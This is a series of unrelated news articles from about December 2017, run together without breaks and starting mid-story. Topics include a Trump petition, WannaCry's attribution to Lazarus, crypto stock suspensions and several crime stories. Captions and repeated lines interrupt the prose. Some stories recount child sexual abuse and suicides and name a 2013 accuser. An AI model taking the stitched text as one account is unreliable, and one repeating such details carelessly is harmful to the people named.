The five men involved all remain at Cherokee County jail without bond, while Rodgers was released on November 14 to another jurisdiction where she has active warrants against her.

Authorities say the Ghost Face Gangsters is predominantly a prison gang with an estimated 3,000 members. The group are white-supremacists associated with the larger Aryan Brotherhood prison gang.
Mr Pemberton plans to send his completed petition to the Tory-run Tendring council - although it only has 70 signatures

A bizarre bid has been launched to bring Donald Trump to Essex seaside town Clacton-on-Sea.

A petition has been launched by ex-UKIP councillor Andy Pemberton, who says he was outraged when Greenwich Council banned the 'bigoted' leader from entering the London borough on his state visit next year, but he's only racked up 70 signatures.

The coiffured billionaire has been invited to the seaside resort dubbed 'the epicentre of Brexit' by an admiring politician.

Mr Pemberton plans to send his completed petition to the Tory-run Tendring council.

Despite only 70 signatures, Mr Pemberton has high hopes for its success.

Mr Pemberton said: 'In light of Greenwich Council barring Donald Trump, I would like to put a motion to the council welcoming him to Tendring.

'We would like to welcome President Trump to visit Tendring, the epicentre of the Brexit vote that gave momentum to his fantastic victory.

'President Trump is the voice of the silent majority in the USA and speaks for many British voters - and many people in Clacton as well.

A petition has been launched by ex-UKIP councillor Andy Pemberton , who says he was outraged when Greenwich Council banned the 'bigoted' leader from entering the London borough on his state visit next year

'A lot of people in Clacton think he is a better leader than those we have here.

'It would also be a massive boost for Tendring if he came here.

'Not only could he visit Clacton as the Brexit capital, but he could visit the Harwich Mayflower Project.'

The Harwich Mayflower Project hopes to build a replica of the ship that transported the pilgrim fathers from England to America in 1620, as part of the Mayflower 400 celebrations.

Ivan Henderson, leader of the council's Labour opposition, mocked the bonkers proposal. He said 'I'm sure there are plenty of people here who would be happy to protest against it. 'If he did come and visit Harwich's replica of the Mayflower - if it is built - we would be happy to pack him off with a one-way ticket back to America'

But Ivan Henderson, leader of the council's Labour opposition, mocked the proposal.

The former MP said: 'I'm sure there are plenty of people here who would be happy to protest against it.

'If he did come and visit Harwich's replica of the Mayflower - if it is built - we would be happy to pack him off with a one-way ticket back to America.'

Douglas Carswell became the first Ukip MP in 2014 when he defected from the Conservative party. He later quit the party and sat an Independent MP until the 2017 election

Clacton-on-Sea sits in the district of Tendring - which is one is one of the most Eurosceptic areas in the country.

Almost 70 per cent of the population voted for Brexit and Clacton gave the country its first ever elected Ukip MP in 2014 with Douglas Carswell.

If successful, the most powerful man in the world could visit some of the Clacton's attractions and visit reality TV stars from Benefits by the Sea.

The controversial figure could also stroll on the Victorian pier and indulge his love of fast food with some traditional fish and chips if he visits Clacton on his planned state visit next year

Clacton-on-Sea sits in the district of Tendring - which is one is one of the most Eurosceptic areas in the country

The controversial figure could also stroll on the Victorian pier and indulge his love of fast food with some traditional fish and chips.

Trump could also pop in for a drink at appropriately titled establishment called 'The Wall' to discuss his controversial plans for the Mexico border.

Last year police investigated an alleged assault against Andy Pemberton after he claimed he was attacked while doing a parking patrol outside a school in Essex when he was campaigning against parents parking on zig-zag lanes outside schools.

Mr Pemberton said: 'President Trump is the voice of the silent majority in the USA and speaks for many British voters - and many people in Clacton as well'

At the time Mr Pemberton said: 'The driver was parked outside Cann Hall School. All I did was tap on his window guttering. I said 'Mate you are parked on a zig-zag zone.'

'I said I'd take a picture of the van and registration number and forward it to the North Essex Parking Partnership.

'Then he got out of his car. He grabbed hold of me in front of his own kid. He called me a few names and pushed me on to a car and grabbed hold of me.

Trump could also pop in for a drink at appropriately titled establishment called 'The Wall' to discuss his controversial plans for the Mexico border

'I pushed his hand off. I started to walk away and he threw me into the middle of the road.'

'I could have been hit by a car.'

'You do not expect this from parents.' the Clacton Gazette reported.

He added: 'I was very shocked.

'I am not a small lad. You do not expect this from parents, but I'm not going to stop my patrols.'

He has previously suffered abuse from drivers, but has now reported an assault to police, as well as almost being run over.
Theresa May has been accused of ducking a showdown with Donald Trump over his far-right retweets - as it emerged the US president will make a 'working visit' to the UK early next year.

The Prime Minister finally spoke on the phone last night, nearly a fortnight after Mrs May pledged to call him to voice opposition to his decision to recognise Jerusalem as Israel's capital.

But although Mrs May did raise the Israel issue, no reference was apparently made to their extraordinary public spat over his retweets of anti-Muslim posts by the Britain First group.

The delay in the call happening had sparked speculation that Mr Trump was snubbing Mrs May's attempts to make contact.

Theresa May has finally spoken to Donald Trump (pictured together in May) about his controversial decision to move the US Israeli embassy to Jerusalem almost two weeks after announcing a call

Mr Trump is said to have told Mrs May he will visit the UK for the first time as President in February to officially open the new American embassy

Downing Street insisted the conversation between the two leaders was warm and constructive.

Mr Trump is said to have told the PM he will be coming to open the new US embassy in London, probably in February.

He is also expected to hold talks with the Prime Minister in Downing Street.

But a planned meeting with the Queen will not take place until he makes a full state visit  plans for which are on ice.

The decision comes after months of questions over a state visit, which Mrs May offered the president when they met at the White House after his inauguration.

There have been fears that a red-carpet occasion would be overshadowed by huge protests on the streets.

Giving a read-out of the phone call, Downing Street said: 'They discussed the different positions we took on the recognition of Jerusalem as the Israeli capital, and agreed on the importance of the US bringing forward new proposals for peace and the international community supporting these efforts.

'The Prime Minister also raised Yemen, highlighting our ongoing deep concerns at the humanitarian situation.

HOW THE MAY-TRUMP RELATIONSHIP HIT THE BRAKES November 29 - Trump retweets a series of Britain First videos. May condemns him as 'wrong' December 4 - Expectations rise Trump will announce the US will recognise Jerusalem as the capital of Israel. December 6 - May warns the US not to make the change tells MPs she will speak to Trump about Jerusalem December 7 - Trump officially makes his move and recognises Jerusalem as the capital of Israel December 18 - No 10 admits May and Trump have still not spoken but denies a snub December 19 - Call finally takes place Advertisement

'They agreed on the vital importance of reopening humanitarian and commercial access to prevent famine and alleviate the suffering of innocent Yemenis.

'The Prime Minister updated the President on the recent good progress of the Brexit negotiations, and the President set out the progress he had made on his economic agenda. They agreed on the importance of a swift post-Brexit bilateral trade deal.

'They wished each other a very Merry Christmas and looked forward to keeping in close touch.'

Mrs May has sent Mr Trump a Christmas card - but No10 has refused to say whether she has received one in reply.

The premier took the unusual step of revealing plans to call Mr Trump during Prime Minister's Questions on December 6, at the height of criticism of the President's decision on Israel.

Her announcement came just days after Mr Trump sparked huge diplomatic row by re-tweeting anti-Muslim videos from the far right Britain First Group.

At the time, the PM said Mr Trump was 'wrong' to retweet the videos, and the US president hit back at Mrs May on Twitter by telling her to focus on 'destructive radical Islamic terrorism' in the UK, rather than on him.

A spokesman for Labour leader Jeremy Corbyn said: 'It has taken Theresa May two weeks to contact Trump over his dangerous decision to recognise Jerusalem as Israel's capital, yet she seems to have failed to use the opportunity to call him out for retweeting abhorrent Islamophobic material.

'As Prime Minister, May has a responsibility to stand up against hate and for all communities in our country.'

Her spokesman was challenged on when the call would take place at a Westminster briefing earlier this week.

Asked if the failure to schedule a call was a snub, the spokesman said: 'I would not see it like that at all.

'We will let you know when they have spoken.'

At PMQs a day before after the controversial decision, Mrs May said: 'I'm intending to speak to President Trump about this matter.

'Our position has not changed, it has been a long standing one and it is also a very clear one.

'It is that the status of Jerusalem should be determined in a negotiated settlement between the Israelis and the Palestinians, and Jerusalem should ultimately form a shared capital between the Israeli and Palestinian states.'
Guilty verdict: Joshua Honea, 24, has been convicted of sexual assault of a minor after prosecutors said he carried on a four-year sexual relationship with an underage girl

A 24-year-old former Las Vegas police Explorer has been found guilty of sexual assault of a minor after prosecutors said he carried on a four-year sexual relationship with a girl, starting when she was just 11 years old.

On Monday, a Las Vegas jury found Joshua Honea guilty of one criminal count out of more than 50, which included kidnapping.

The charge of sexual assault of a minor is punishable by up to a life in prison.

Honea was arrested in 2015 and pleaded not guilty to allegations that he began a relationship with the girl in 2011, when he was an 18-year-old volunteer police Explorer scout and counselor at the girls middle school.

The pair allegedly began having sex when the girl was in sixth grade.

The Las Vegas Metropolitan Police Department's Explorers Program introduces young adults to a career in law enforcement by teaching them the basics of policing.

According to the LVMPD's website, the Explorers Program 'also aims to develop and refine qualities such as maturity, responsibility, character, civic duty, and personal fitness.'

Aspiring cop: Honea was an 18-year-old volunteer Las Vegas police Explorer when he met his accuser in 2011, when she was aged 11 and having trouble in school

It was during his time as an Explorer that Honea met the alleged victim while volunteering as a school counselor.

According to an arrest report, cited by News 3LV in 2015, the minor had problems in school and Honea wanted to mentor her.

The girl told police in 2015 that her relationship with Honea started with kissing. The two later went on to exchange nude photos, and when she was 12 years old, she claimed Honea pressured her to have sex with him.

The teen claimed that after the first few encounters, during which Honea wore a condom for protection, he asked her to go on birth control.

The report stated that Honea and the middle-schooler would usually meet for sex in the backseat of Honea's car at a casino parking lot.

During the trial, Honea's defense lawyers argued that their client and the accuser initially had a 'brother and sister' relationship, which soured after he tried to steer her away from drugs and alcohol, leaving her feeling betrayed, reported Las Vegas Review-Journal.

Defense attorney Jonathan MacArthur also maintained that Honea was accused of sexual abuse of a minor in retaliation for reporting police misconduct.

The girl told police in 2015 that Honea (pictured) pressured her to have sex with him when she was 12, and that they would have encounters in his car

Whistleblower: The defense maintained that Honea (left and right) was accused of sexual abuse of a minor in retaliation for reporting police misconduct

According to the lawyer, cops warned the girl, then aged 16, that Honea could get her mother in trouble with Child Protective Services, leading her to come forward with allegations of sexual abuse against him in 2015.

When the accuser was called to the stand as a witness for the prosecution in late November, the now-18-year-old woman recanted her earlier statements, admitting that she made up the elaborate tale - including providing a description of a mole on Honea's genitals - because she wanted to get him in trouble.

According to court documents, the erstwhile accuser is a heroin addict who has been living on the streets.

Honea remains free on bail. He is due back in court on April 16 for his sentencing.

His current girlfriend, whom he started dating in April 2017, posted on her Facebook page on Monday: today we lost a battle, but the war is not over.
Toni Stevens, 33, from Torquay, exchanged sexual messages with who he believed were 14-year-old girls in internet chat rooms

A charity organiser who tried to meet underage girls for sex has appeared in court after being trapped by an online vigilante group.

Toni Stevens, 33, from Torquay, exchanged sexual messages with who he believed were 14-year-old girls in internet chat rooms but in reality he was dealing with a group of paedophile hunters.

They posed as under-aged girls and responded to his online grooming, in which he sent images of his erect penis and suggested having threesomes with his adult girlfriend.

The police were called after members of the Plymouth based vigilante group went to confront him at his home in Torquay and the offices of the charity where he volunteers.

The group called UK Database passed on copies of chat logs to police which they say contained evidence of him trying to contact 39 girls online.

The group called UK Database passed on copies of chat logs to police which they say contained evidence of him trying to contact 39 girls online

Stevens admitted sexual communication with a child and attempting to cause a child to look at an indecent image.

He was remanded in custody by Recorder Mr Jonathan Barnes at Exeter Crown Court and will be sentenced once a probation report has been completed next month.

Mr Michael Brown, defending, said Stevens is of good character and will receive full credit for his early guilty pleas.

He said a probation report will be helpful to the sentencing judge. Two members of UK Database sat in the public gallery during the short hearing.

As part of the sting, members of the Plymouth Against group set up decoy profiles and spoke to Mr Stevens over messaging apps.

They were part of the organisation, sometimes also known as Plymouth Against Paedophiles, which ran the sting operation.

They have posted a video of them confronting Stevens on the UK Database Facebook page and have also put images on their own website, including one of his naked torso taken with a webcam during the chat room exchanges.

When they confronted him in Torquay on November 27 this year, they alleged he had been in contact with 39 decoy girls in chat rooms and tried to arrange a meeting with one at a hotel in Taunton.

They also alleged he had sent naked pictures of a woman who he claimed to be his girlfriend and suggested threesomes.

He is alleged to have told one decoy girl, supposedly 14, that we will get you through it when she told Stevens she had no had sex before.
The Foreign Office today named the shadowy North Korean cyber gang Lazarus as the criminals which launched a devastating ransomware attack on the NHS.

More than a third of hospital trusts had their systems crippled while nearly 7,000 NHS appointments were cancelled in the WannaCry ransomware attack in May.

Foreign Office minister Lord Ahmad confirmed the attack was carried out by the notorious North Korean cyber espionage group Lazarus.

The gang have carried out a series of devastating strikes against media and government institutions - and have stolen tens of millions of pounds in a heist on a central bank.

More than a third of hospital trusts had their systems crippled while nearly 7,000 NHS appointments were cancelled in the WannaCry ransomware attack in May (stock photo)

Sony Pictures fell victim to the gang in 2014 when their systems were hacked ahead of the release of The Interview - a satire on a plot to kill Kim Jong-Un.

The notorious group has strong links with the tyrannical regime in Pyongyang and its attacks are designed to sow chaos and discord among the country's enemies.

WHO ARE LAZARUS? Lazarus are an infamous North Korean hacking gang who have carried out a series of strikes around the world. They first made headlines when they carried out a primitive cyber attack on South Korean government in 2009. And since the their attacks have become more sophisticated and spanned many other countries. In 2014 they launched an attack on Sony Pictures in ahead of the release of The Interview - a satire on a plot to kill Kim Jong-Un. And in 2016 they stole $81million (63m) from the Bangladesh central bank in what is believed to be the biggest ever cyber heist. Their attacks are designed to cause chaos among North Korea's enemies and to extort cash. Advertisement

Lord Ahmad said: 'The UK's National Cyber Security Centre assesses it is highly likely that North Korean actors known as the Lazarus Group were behind the WannaCry ransomware campaign - one of the most significant to hit the UK in terms of scale and disruption.

'We condemn these actions and commit ourselves to working with all responsible states to combat destructive criminal use of cyber space.

'The indiscriminate use of the WannaCry ransomware demonstrates North Korean actors using their cyber programme to circumvent sanctions.'

Computer systems in 150 countries were caught up in the attack, which saw screens freeze with a warning they would not be unlocked unless a ransom was paid.

Investigators concluded that the cyber attack could have been prevented if 'basic IT security' measures had been taken.

Lazarus are believed to be behind a series of cyber attacks against countries designed to cause chaos or extort money out of North Korea's enemies.

The hacking group first hit the headlines in 2014 when they crippled the computer networks at Sony Pictures in a bid to block the release of The Interview - a satire about a plot to kill North Korean despot Kim Jong-Un.

Foreign Office minister Lord Ahmad (pictured left) confirmed the attack was carried out by the notorious North Korean cyber espionage group Lazarus. the cyber gang have strong links with the regime of Kim Jong-Un (pictured right) and have targeted enemies of Pyongyang

The film was pulled from cinemas after the hack amid security fears, but was released online.

And the gang is also thought to be behind a 2009 attack on South Korean government and websites.

Cyber security experts also believe the gang were behind an $81million (63m) cyber heist against the Bangladesh central bank.

This is widely believed to be one of the biggest bank heists ever to have bene carried out.

The common thread running through all the attacks is that they are designed to attack North Korea's enemies and further Pyongyang's interests.
US securities regulators on Tuesday temporarily suspended trading in the shares of Crypto Company, a small firm that saw its stock rise more than 2,700 percent this month after signing a deal to buy a cryptocurrency data platform.

The Securities and Exchange Commission cited concerns about the 'accuracy and adequacy of information' about the Malibu, California-based company available to investors. The suspension will remain in place until January 3.

'Questions have also arisen concerning potentially manipulative transactions in the company's stock in November 2017,' the SEC said in a Monday press release.

Crypto Co, which says it provides a 'portfolio of digital assets, technologies, and consulting services to the blockchain and cryptocurrency markets,' changed its name from Croe Inc to Crypto Company in October.

The Securities and Exchange Commission (whose Washington, DC headquarters are seen above) temporarily suspended trading in the shares of Crypto Company, a small firm that saw its stock rise more than 2,700 percent this month

The Crypto Company's shares skyrocketed this month after signing a deal to buy a cryptocurrency data platform

Crypto Co's stock hit $575 on Monday, rising from $3.50 in late September. The company's market value surpassed $11billion, almost equaling that of home appliances maker Whirlpool Corp or railroad Kansas City Southern

In late November, the over-the-counter-traded company announced a deal to buy a majority stake in Coin Tracking e.K., a German cryptocurrency data platform.

Investors have been pouring millions of dollars into companies with 'crypto' or 'blockchain' in their names, reminiscent of the late 1990s, when firms with '.com' in their names saw their shares surge.

Bitcoin, the world's best known cryptocurrency, has risen more than 1,800 percent this year as mainstream exchange companies introduced futures trading in the virtual currency.

Crypto Co's stock hit $575 on Monday, rising from $3.50 in late September.

The company's market value surpassed $11billion, almost equaling that of home appliances maker Whirlpool Corp or railroad Kansas City Southern.

Global financial regulators are beginning to warn the public against the risks of investing in a market that many feel is in a speculative bubble, with Singapore's central bank on Tuesday urging 'extreme caution' about buying cryptocurrencies.

The staggering growth of bitcoin and other decentralized digital currencies this year - with the market swelling from around $17billion at the start of January to well over $600billion now - has led to increasing concerns over what the fallout could be if the bubble were to suddenly burst.

Bitcoin, the world's best known cryptocurrency, has risen more than 1,800 percent this year as mainstream exchange companies introduced futures trading in the virtual currency

There have also been worries that regulators have not been doing enough to protect consumers.

Many, though, say investors must take responsibility and must not expect protection if they lose money because of the difficulties of regulating an opaque, complex market that has no centralized authority.

The Monetary Authority of Singapore (MAS) said in an official statement on Tuesday it is 'concerned that members of the public may be attracted to invest in cryptocurrencies, such as bitcoin, due to the recent escalation in their prices'.

'MAS considers the recent surge in the prices of cryptocurrencies to be driven by speculation,' the central bank said in a statement.

'The risk of a sharp reduction in prices is high. Investors in cryptocurrencies should be aware that they run the risk of losing all their capital.'

The city-state's central bank added that there is no regulatory safeguard for investments in cryptocurrencies and that it does not regulate them either.

It urged the public to act with 'extreme caution' and to understand the 'significant risks' they take on if they invest in virtual currencies.

Denmark's central bank on Monday said bitcoin investing was 'deadly', warning the public to steer clear of it.

It also said potential investors should not complain to financial regulators if things do go wrong.

A survey by the Centre for Macroeconomics and the Centre for Economic Policy Research released on Tuesday found a majority of leading European economists were in favour of greater regulatory oversight of the market, primarily because of concerns that cryptocurrencies facilitate tax evasion and other criminal activity.

But a large majority of the economists agreed that the market did not represent a threat to the stability of the financial system - now or in the next couple of years - as mainstream financial markets were isolated enough from bitcoin.

They also took the view that the cryptocurrency market was still relatively small.

European Union states and legislators agreed last week on stricter rules to prevent money laundering and terrorism financing on exchange platforms for bitcoin and other virtual currencies, but it has not moved to regulate the market beyond that.

Late in 2013, the EU issued a formal warning on the risks of using unregulated online currencies, warning that bitcoin investors would be on their own if they lost money.

Bitcoin set a record high of $19,666 on Sunday on the Luxembourg-based Bitstamp exchange, its prices having surged more than twentyfold this year.

On Tuesday, it stood at $17,942, down more than 5 percent on the day.
A car plowed into a house and seriously injured a Florida woman as she ate breakfast, according to authorities

Florida Highway Patrol Sgt. Kim Montes said in a statement that 57-year-old Karin Gray was in her dining room around 9am Tuesday when the car, driven by 61-year-old Pearlie Searles, went off the road and crashed through a front wall.

Gray's husband told troopers he was in the front yard and watched helplessly as the car hit the house.

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A car plowed into a house and seriously injured a Florida woman as she ate breakfast, according to authorities

Karin Gray, 57, was in her dining room around 9am Tuesday when the car went off the road and crashed through a front wall

Rescue crews had to pull cabinets from walls and battle a water main break to free Gray, who was trapped beneath a table, according to WFTV.

She was taken to Orlando Regional Medical Center with serious injuries.

Montes says Searles had just dropped a child off at school and was returning home when the crash occurred.

Gray, 57 (left), was trapped beneath a table. She was taken to Orlando Regional Medical Center with serious injuries

Pearlie Searles, 61, was returning from taking a child to school when she crashed into Gray's house

Searles told police she doesn't remember the moments leading up to the crash, but there is no suspicion that drugs or alcohol were involved

The driver of the car was ticketed for careless driving and recommended for driver re-evaluation.

Searles told police she didn't remember the moments leading up to the crash, but there is no suspicion that drugs or alcohol are involved.

Searles' home is approximately 500 feet away from Gray's. Montes said there is no evidence Searles tried to slow down before missing the curve and crashing into the house

Charges against Searles are pending.
A spokeswoman says the state of New Jersey will continue to use private investigators to spy on Atlantic City firefighters who are on medical leave or out sick, despite complaints from the union that it's a waste of taxpayer dollars.

The spying was revealed when firefighters noticed a car parked at length outside their homes and became concerned, calling police, according to the Philadelphia Inquirer. Officers ran the tags, revealing they belonged to an investigator.

John Varallo Jr., president of Local 198 of the International Association of Fire Fighters, says the union has no issue complying with sick checks, but called the private eye a 'waste.'

The state of New Jersey has said it will continue to use private investigators to spy on Atlantic City firefighters to ensure they're really using their sick days

The state assumed power over Atlantic City government under a takeover signed into law a year ago.

Lisa Ryan, a state spokeswoman, says the private investigator has so far cost the city about $17,000.

'The city will continue to use outside investigators to protect the city from sick leave abuse and the negative impact this abuse has on the city's finances,' Ryan said in a statement.

The private investigator has cost about $17,000 of taxpayer money so far

The president of the local union says they have no issue complying with sick checks but says the PI is a 'waste'

The mayor has said in a statement that he was unaware of the state's decision to hire the investigators.

'The city's use of outside investigators is working,' Ryan said. 'For example, one employee was found to be living out of state while calling in sick.'

Varallo said he was not aware of any firefighters abusing sick days, and instead blamed the state for leaving the department too shorthanded. A judge has temporarily blocked an 11.3 percent pay cut.

'We have no problem with complying with sick checks,' Varallo said.

'These guys show up every day, prepared. The state got caught with their pants down. They want to put more pressure on us, trying every angle. Now it's private investigators. They operate like this is corporate America.'
A San Francisco police officer who was under investigation for allegedly having sex with a minor fatally shot himself at a Bay Area traffic stop on Monday.

The officer, a nine-year veteran of the San Francisco Police Department, shot and killed himself in the parking lot of the Hilltop Mall in Richmond, according to authorities.

The incident took place at approximately 1:30pm Monday near the J.C. Penney store, KGO-TV reported.

After a Richmond police officer stopped the vehicle, he heard a loud gunshot.

A San Francisco police officer who was under investigation for allegedly having sex with a minor fatally shot himself at a Bay Area traffic stop on Monday

The officer, a nine-year veteran of the San Francisco Police Department, shot and killed himself in the parking lot of the Hilltop Mall in Richmond, according to authorities

The officer was being investigated over an alleged sexual encounter with a minor in Las Vegas. The dead officer's picture is muzzed as he lay dead in his car on the right as investigators gather evidence at the scene

The officer then immediately returned to his patrol vehicle to ask for help.

Initially, the officer didnt know what happened since the windows of the SFPD officers car were tinted.

The Richmond officers used beanbag rounds to shatter the windows of the vehicle. They then approached the vehicle and found the dead man inside.

Authorities have yet to release the name of the dead officer, though the car is registered to Antonio Cacatian, a San Francisco police officer.

The officer was being investigated over an alleged sexual encounter with a minor in Las Vegas.
Ferne McCann turned to Towie co-star James Argent as she waits to hear how long the father of her baby daughter will spend in jail.

McCann's ex Arthur Collins is expected to get a lengthy jail term for injuring 22 people in an acid attack in an east London nightclub today.

McCann, who has attempted to distance herself from the shocking case, has not been at court for either the trial or today's sentencing hearing.

She was seen out with Mr Argent, known as 'Arg', in Brentwood, Essex yesterday, after posting a picture of them together on Instagram.

Towie star Ferne McCann was seen out in Brentwood yesterday as she waits to hear how long the father of her daughter will spend in jail

She was seen with former Towie co-star James Argent ahead of today's sentencing hearing

Ferne posted this picture of the pair at her home in Brentwood, Essex yesterday afternoon

She wrote on the picture-sharing app: 'Argy boy has popped round.'

In a video she posted online, she added: 'Arg often comes round to see me and Sunday, it's lovely. He just loves the Brentwood.'

She then posted a video of Argent watching himself on TV.

The pair have previously told of their close friendship and Ferne recently praised Mr Argent in her documentary Ferne McCann: First Time Mum.

McCann visited acid attacker Collins in jail while he was awaiting sentencing, but told him that was the last time she would do so.

McCann with friend and former co-star James Argent ahead of today's hearing

The pair were seen jumping into a BMW before McCann posted a video of them together online

Ferne has said she will not take her daughter Sunday to see the girl's father in jail

Speaking to the Sunday People last month, Miss McCann said: 'I thought it was important that Arthur see Sunday and see exactly what his actions have led to him missing out on.'

'I strongly feel for the innocent people hurt that night and I in no way condone violence as I have already made clear.

'It was a difficult decision to take Sunday into that environment but I felt I needed to confront him about a number of things, which I have now done.'

She said she told him: 'This is the last time you will ever see us.'

Since Collins' conviction, McCann has been appearing on TV in a documentary about giving birth to the criminal's baby.

Ferne McCann, who has appeared in a reality TV show about bringing up her and Collins' baby, has described her life since Collins' arrest as 'absolute hell'

McCann was seen out at a Christmas party this weekend with friends in London this weekend

In the show, Ferne McCann: First Time Mum, which aired on ITVBe last week, she described her life since Collin's arrest as 'absolute hell'.

But her comments angered the real victims of the attack.

Phoebe Georgiou told The Sun: 'It's like rubbing salt on an open wound. She has disregarded our feelings. We are the real victims.'

The 23-year-old said it felt like McCann was 'cashing in' and making money from her connection to the sickening crime.

Another, unnamed. victim told the paper's website: 'She's making money out of this, it's all just me, me, me. Every time her face pops up, I think of Arthur Collins.'

Arthur Collins, the drug dealing boyfriend of reality TV star Ferne McCann, injured more than 20 clubbers when he threw acid across a nightclub dancefloor
A 20-year-old mother from Minnesota has pleaded guilty to a second-degree manslaughter charge in the death of her boyfriend, whom she shot to death as part of a botched YouTube stunt earlier this year.

Monalisa Perez took the plea deal last week and is expected to be sentenced to 180 days in jail, followed by 10 years of probation.

Perez, who was pregnant at the time with her second child, was arrested in June after shooting her boyfriend, 22-year-old Pedro Ruiz III, in the chest for a YouTube video.

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Mom's plea: Monalisa Perez (left), of Minnesota, has pleaded guilty to second-degree manslaughter in June 2017 shooting death of Pedro Ruiz III (right), 22

Online stars: The couple's YouTube channel had 218 subscribers at the time and included various pranks. They are pictured above filming one of the pranks

The woman told police on a 911 call that Ruiz had asked her to fire a bullet from a .50-caliber Desert Eagle pistol into an encyclopedia as he held it against his body, but the projectile penetrated the volume and fatally wounded the young father.

The fatal shooting was captured on two cameras that had been set up to record the stunt. Police said they do not plan to release the footage.

Their three-year-old daughter, Aaliyah, was present when the shooting occurred.

'We were doing a YouTube video and it went wrong. Please hurry up,' Perez told the 911 dispatcher.

Prior to the shooting, Perez had tweeted: 'Me and Pedro are probably going to shoot one of the most dangerous videos ever. HIS idea not MINE'.

As part of her plea deal, Perez cannot profit from the video of the failed YouTube stunt that resulted in Ruizs death, reported Minneapolis Star-Tribune.

She is also banned from ever possessing firearms.

Perez told a 911 dispatcher their YouTube prank had failed and her boyfriend had been shot in the chest

Prior to the shooting, Perez had tweeted: 'Me and Pedro are probably going to shoot one of the most dangerous videos ever. HIS idea not MINE'

The agreement with the prosecution will allow the young mother-of-two to serve out half of her jail term in increments of 30 days per year for the next three years.

The remainder of the sentence could be waived and replaced with electronic home monitoring, provided that Perez does not violate the terms of her probation.

Perez is due back in court in February 2018 for her sentencing.

If the 20-year-old went to trial and was found guilty, she could have been looking at up to 10 years behind bars.

The prosecutor handling Perez's case said Ruiz's family members have signed off on the plea deal.

The couple's YouTube channel had 218 subscribers at the time and included pranks like Perez feeding Ruiz donuts covered in baby powder.

In their last video together, the family go to a fairground and Perez says: 'Imagine when we have 300,000 subscribers.'
A woman was forced to deliver her baby in an open field after doctors at a hospital in

India refused to admit her, saying the unborn baby had died in the womb.

Eight months pregnant Samarwati Devi, 24, from a small village in the Dindori district of Madhya Pradesh, central India, went to a local district government hospital at 3am on Monday, complaining of pains and fearing an early labour.

But reportedly doctors declared her baby had died in her womb due to stress.

Samarwati Devi, 24, was eight months pregnant when she went to hospital thinking she was going into labour. She was told that the fetus had died and forced to leave

A relative holding the newborn baby. New mother Samarwati Devi from Madhya Pradesh, India, says she was slapped by nurses

Samarwati claims she was slapped by the nurses and refused admission to the hospital, forcing her to leave in the middle of the night.

She said: 'I went to the hospital and told them I was pain. They didnt even look at me properly before they told me my child was dead inside of me.

I started screaming and crying loudly, fearing their words, but the nurses slapped me and asked me to leave the hospital. I was not even admitted.

'They forced me to leave the hospital and I had no other option than to go.'

Samarwati, 24, gave birth in the middle of a field on her way home from hospital, where local women shielded her with their sarees

A woman helps Samawati after she delivered her baby boy in a field in India after being refused admittance to the hospital

An investigation into what happened at the hospital has been launched by the Chief Medical Officer who described the incident as 'totally condemnable'

Samarwati had started walking the trek back home with some relatives when her pains began again.

She went into labour at 5am on the pathway.

Eventually, she gave birth to a healthy baby boy in an open field with the help of relatives and a group of women who heard her screams and came to help with blankets and water.

The women used their sarees to create a tent around her while she was delivering the child, for her privacy.

Locals used their knives to cut the umbilical cord, then took the mother and child to the same hospital where they were initially refused admission for a check-up.

Samarwati and her baby are currently staying with relatives while they recover from the incident, and she is enjoying spending time with her newborn son

An ambulance arrived after Samarwati gave birth, leaving her relatives and kind strangers to care for her. Locals used their knives to cut the umbilical cord

Chief Medical Officer of the Government hospital, RK Mehra, said: The incident is totally condemnable. I am taking statements off of all the staff members present on that night duty.

'We are probing the matter and strict action will be taken against whoever is found guilty. We will suspend the person in charge that night if needed.

'We do not condone this kind of treatment towards any member of the public in need.

Samarwati and her son, who is yet to be named, are now staying with relatives while recovering from the traumatic labour. She is enjoying spending time with the healthy newborn.
A Kentucky lawmaker who killed himself a day after vehemently denying accusations he sexually assaulted a teen girl has been remembered at the church where he used to preach.

Family and friends of Dan Johnson gathered for his funeral at Heart of Fire church in Louisville on Monday where the crowd was so large some were unable to get inside.

The 57-year-old Republican lawmaker's body was found along a secluded road in Mount Washington on December 13 with a self-inflicted gunshot wound to the head.

Family and friends of Dan Johnson gathered for his funeral at Heart of Fire church in Louisville on Monday where the crowd was so large some were unable to get inside

The 57-year-old Republican lawmaker's body was found along a secluded road in Mount Washington on December 13 with a self-inflicted gunshot wound to the head

His suicide came a day after he publicly denied allegations that he had assaulted a teenage girl in 2013.

A pastor and friend of the lawmaker, R.Z. Miller, told reporters after the funeral service that 'the spirit of the Lord was there.'

The only media outlet apparently allowed into the service was WDRB-TV. WDRB reported that the service began with singing and Johnson's son, Judah, was the first to speak to the crowd.

'Anyone that knew my dad knew that he was about freedom and being free from the power of sin and death and all the above, and that being the case, this is a celebration,' he said.

Miller said Johnson's five children took part in the service, and said: 'They showed the world what really was being taught in their home, and that was a love of God.'

Johnson's church prided itself on welcoming 'real people.'

Leather-jacketed motorcycle riders revved their bikes in their own tribute to Johnson outside the packed church on Monday

Johnson's wife Rebecca and his five children all took part in the funeral service at the Heart of Fire church in in Louisville

The church was so packed for the funeral service that some people had to remain outside

David Adams, a political operative who worked with Johnson on his campaign, had called it a 'biker church' with 'lots of leather jackets, lots of long hair and people that if you ran into them on the street, you might have a different first impression.'

He was accused last week of sexually assaulting Maranda Richmond (above) in 2013 when she was 17

Many of those bikers came to pay tribute to Johnson on Monday. They revved their bike engines after the ceremony and joined the procession following the lawmaker's body to a cemetery.

Johnson was elected to the Kentucky House of Representatives in 2016 amid a wave of Republican victories that gave the GOP control of the chamber for the first time in nearly a century.

During the campaign, he defied calls from Republican leaders for him to drop out of the race after media reported on some of Johnson's Facebook posts comparing President Barack Obama and first lady Michelle Obama to monkeys.

As a freshman legislator, Johnson sponsored bills having to do with religious liberty and teaching the Bible in public schools, but he was mostly out of the spotlight.

That ended a week ago when the Kentucky Center for Investigative Reporting published an account from Maranda Richmond who said Johnson sexually assaulted her in the basement of the church fellowship hall in 2013 when she was 17.

Johnson posted a Facebook message that asked people to care for his wife Rebecca prior to his body being found

Johnson's body was found along a secluded road in Mount Washington, Kentucky (above) on December 13 with a self-inflicted gunshot wound to the head

Johnson (believed to be pictured here with four of his children), has five children with his wife Rebecca and seven grandchildren

According to court documents, Richmond was living at Heart of Fire City Church accommodations. She alleged that Johnson had kissed her and fondled her underneath her clothes while he was a pastor.

Police investigated the incident but closed the case and did not file charges.

Johnson termed the allegations as 'totally false' from the pulpit of his church last Tuesday.

The self-appointed 'pope' of his church led friends and family in singing a Christmas carol and told reporters he would run for another House term in 2018.

